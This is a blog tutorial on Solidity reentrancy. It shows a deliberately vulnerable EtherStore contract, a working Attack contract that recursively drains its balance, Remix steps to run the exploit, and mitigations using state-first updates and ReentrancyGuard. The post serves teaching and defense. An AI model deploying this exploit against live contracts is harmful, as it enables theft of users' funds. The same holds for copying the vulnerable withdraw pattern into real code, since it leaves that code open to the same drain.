DEV Community

Cover image for Exploiting Smart Contracts - Performing Reentrancy Attacks in Solidity
Jason Schwarz
Jason Schwarz

Posted on • Edited on

Exploiting Smart Contracts - Performing Reentrancy Attacks in Solidity

In this tutorial, we demonstrate how to create a reentrancy exploit in Solidity, including detailed setup, code examples, and execution steps, followed by essential mitigation strategies

Introduction

Among all attack vectors in blockchain security, reentrancy stands out as particularly significant. One of the most notable incidents involving reentrancy was the 2016 DAO hack, in which $60 million worth of Ether was stolen. This event prompted a hard fork of the Ethereum blockchain to recover the stolen funds, resulting in the creation of two distinct blockchains: Ethereum and Ethereum Classic.

In the aftermath, numerous resources and tools have been developed to prevent reentrancy vulnerabilities. Despite these efforts, modern smart contracts are still being deployed with this critical flaw. Thus, reentrancy remains a persistent threat.

For a comprehensive historical record of reentrancy attacks, refer to this GitHub repository.

Reentrancy Explained

In this tutorial, we'll simulate a reentrancy attack on the EtherStore contract. You can view the code here. A reentrancy attack occurs when an attacker repeatedly calls a vulnerable function before the initial call completes, exploiting the contract's operation sequence to deplete its funds.

Injection Point

Reentrancy Process

The above example illustrates the sequence of operations taken by an attacker, including the balance columns tracking the current balance of each contract after each action has been executed.

The Vulnerable Contract

The EtherStore contract allows users to deposit and withdraw ETH but contains a reentrancy vulnerability. This vulnerability exists because the user's balance is updated after transferring ETH, allowing an attacker to withdraw more funds than initially deposited.

/**
 * @title EtherStore
 * @dev A simple contract for depositing and withdrawing ETH.
 * Vulnerable to reentrancy attacks.
 */
contract EtherStore {
    mapping(address => uint256) public balances;

    /**
     * @notice Deposit Ether into the contract
     */
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    /**
     * @notice Withdraw the sender's balance
     */
    function withdraw() public {
        uint256 bal = balances[msg.sender];
        require(bal > 0, "Insufficient balance");

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    /**
     * @notice Get the total balance of the contract
     * @return The balance of the contract in wei
     */
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}
Enter fullscreen mode Exit fullscreen mode

How the Attack Works

By injecting malicious code into the EtherStore contract's execution flow, specifically targeting the withdrawal process, an attacker can exploit the timing of the balance update. Hereโ€™s a step-by-step breakdown:

  1. Initial Withdrawal Call: The attacker initiates a withdrawal from their balance in the EtherStore contract.
  2. Recursive Call Injection: Instead of completing the withdrawal process, the attacker's contract makes a recursive call to the withdraw function of the EtherStore. This happens before the original withdrawal transaction updates the attacker's balance to zero.
  3. Repeated Withdrawals: Each recursive call triggers another withdrawal before the balance is updated, causing the contract to send ETH repeatedly based on the initial balance.
  4. Balance Misperception: Since the EtherStore contract only updates the user's balance after transferring funds, it continues to believe the attacker has a balance, thus allowing multiple withdrawals in quick succession.
  5. Exploited State: This recursive loop continues until the contract's funds are depleted or the gas limit is reached, allowing the attacker to withdraw significantly more ETH than initially deposited.

Attack Contract Code

The attack contract is designed to exploit the EtherStore's vulnerability:


contract Attack {
    EtherStore public etherStore;
    uint256 constant AMOUNT = 1 ether;


    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }


    function _triggerWithdraw() internal {
        if (address(etherStore).balance >= AMOUNT) {
            etherStore.withdraw();
        }
    }


    fallback() external payable {
        _triggerWithdraw();
    }


    receive() external payable {
        _triggerWithdraw();
    }


    function attack() external payable {
        require(msg.value >= AMOUNT, "Insufficient attack amount");

        etherStore.deposit{value: AMOUNT}();
        etherStore.withdraw();
    }

    /**
     * @notice Collects Ether from the Attack contract after the exploit
     */
    function collectEther() public {
        payable(msg.sender).transfer(address(this).balance);
    }

    /**
     * @notice Gets the balance of the Attack contract
     * @return The balance of the contract in wei
     */
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

Enter fullscreen mode Exit fullscreen mode

Explanation

  1. Attack Contract Initialization:
    • The Attack contract is initialized with the address of the EtherStore contract.
    • The AMOUNT is set to 1 ETH to ensure a consistent value used in reentrancy checks.
  2. Fallback and Receive Functions:
    • Both functions call _triggerWithdraw, which calls withdraw on the EtherStore if it has enough balance. This repeats the withdrawal, exploiting the reentrancy vulnerability.
  3. Attack Function:
    • The attack function deposits 1 ETH into the EtherStore and immediately calls withdraw, starting the reentrancy loop.
  4. Collecting Stolen Ether:
    • The collectEther function transfers the contractโ€™s balance to the attacker.

Try It on Remix

Deploy and interact with the contracts on Remix IDE to observe how the reentrancy attack works in practice. You can use this direct link to load the code into Remix: Load on Remix.

EtherStore Contract Deployment:

  1. Use a dedicated wallet and deploy the EtherStore contract.
  2. Deposit 3 ETH using the deposit method.
  3. Verify the contract balance is 3 ETH.

Etherstore Deployment

Attack Contract Deployment:

  1. Use a dedicated wallet.
  2. Deploy the Attack contract with the EtherStore contract address.
  3. Deposit 1 ETH and run the attack method.
  4. Verify that the EtherStore contract balance is now 0, and the Attack contract balance is 4 ETH.

Attack Deployment


๐ŸŽ‰ Congratulations! Youโ€™ve just successfully exploited a contract using the reentrancy attack vector.

While that was certainly informative, it's my moral responsibility to provide you with solutions that will protect you from such potential attackers.


Mitigation Measures

To protect smart contracts from reentrancy attacks, consider the following strategies:

  1. Update State First: Always update the contract state before making external calls to prevent reentrant calls from exploiting outdated state information.
  2. Use Reentrancy Guards: Implement reentrancy guards to prevent functions from being accessed repeatedly within the same transaction. The OpenZeppelin ReentrancyGuard is a widely used and audited solution.

Protected Contract Example

Below is an example of the EtherStore contract fully protected using a reentrancy guard.

contract EtherStore is ReentrancyGuard {
    mapping(address => uint256) public balances;

    function withdraw() nonReentrant public {
        uint256 bal = balances[msg.sender];
        require(bal > 0, "Insufficient balance");

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }
}

Enter fullscreen mode Exit fullscreen mode

๐ŸŸข Added: is ReentrancyGuard to inherit reentrancy protection.

๐ŸŸข Modified: withdraw function with nonReentrant to prevent reentrancy attacks.


Summary

Congratulations on reaching this point! Armed with this knowledge, you now have the tools to both identify and defend against reentrancy attacks.

This tutorial has demonstrated the mechanics of a reentrancy attack by exploiting a vulnerable function in the EtherStore contract. It underscores the critical importance of secure coding practices, such as updating state before making external calls and implementing reentrancy guards, to effectively mitigate such vulnerabilities.

Connect with me on social media:

Top comments (2)

Collapse
 
jakepage91 profile image
Jake Page

Nice one, love the graphics.

Collapse
 
passandscore profile image
Jason Schwarz

Thanks @jakepage91. I enjoy putting them together. Adds additional clarity for sure.